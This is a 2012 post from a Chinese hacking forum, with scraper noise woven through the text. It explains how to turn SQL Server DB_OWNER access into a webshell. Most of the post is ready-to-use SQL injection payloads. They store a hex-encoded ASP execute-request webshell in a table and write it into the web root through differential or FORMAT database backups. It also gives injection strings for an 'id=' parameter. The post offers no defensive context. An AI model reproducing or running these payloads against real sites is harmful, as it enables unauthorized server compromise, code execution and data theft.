找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1988|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:, J3 T  l: h! i" z' c' \1 K/ j% }' G

8 q* U$ W2 s: z: \/ _减少备份文件大小,得到可执行的webshell成功率提高不少
; y, N3 J6 p8 ^一利用差异备份9 |& B/ P. H% x+ |
加一个参数WITH DIFFERENTIAL# p, R! x, |- d6 H( C
' Y" G7 _' H) ]3 _: L% U
1+ X# r; Y3 w8 ^1 A4 J5 O
2( [4 C/ O" p& n  n5 P% N8 E) _/ B
3  W# c1 }3 ^" }0 a
4% X- ?% S0 r0 K' s9 `
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s6 p- L  v; Q, W( Z) d# c, g# ?
create table [dbo].[xiaolu] ([cmd] [image]);! P0 r* q' |! R- e3 o
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)* Y1 ]/ W( l1 V- `! h2 }2 x
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL / S; |) j% d5 |0 g! @9 [

# }3 b* P: R" m/ J' g) z二利用完全FORMAT) X1 C* [7 q, C0 V2 [5 y4 ^* q# r  X
加一个参数WITH FROMAT
3 T+ x* v7 w" B. ^2 j有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
9 P$ Z6 z( y9 M7 c) g( ^
0 p" V" @5 V8 V8 q( O9 z8 s1
; c, `  a; a  l! Z' K2
- s/ A7 z( q3 R3
/ U! l4 i* \* B  I  d5 c4
; ^/ [# v8 P7 V9 \. I" n9 ?6 N declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
6 _2 e' G4 u6 z) O" hcreate table [dbo].[xiaolu] ([cmd] [image]);
; K6 _+ S8 L9 Hinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)( i2 K- C( r# t2 \% x, |" C3 I
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT 6 l/ V* D. w: _. G

" ]- d, o1 Y' o8 z' H8 E总的来说就是那么简单几句,下面以备份数据库model为例子
& ^$ Z5 `' W& q1 E, H+ `15 q# {' }) \7 z' W4 J
3 j8 S' n! p7 Z
1
  A: g2 ?6 Z9 D5 j2 T0 R+ v! A" ~ id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>') % @9 K, @9 E# y
9 w+ }& B' s1 C( m
27 a% G9 D( t; P7 ?( Y9 {

' ^2 p0 l. \* n' _- ]- C1
7 D& E, D! u8 V5 r; @ id=1;backup database model to disk='你的路径‘ with differential,format;-- 6 e  J% \. ^- o% ]+ s+ ~% U. x4 e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表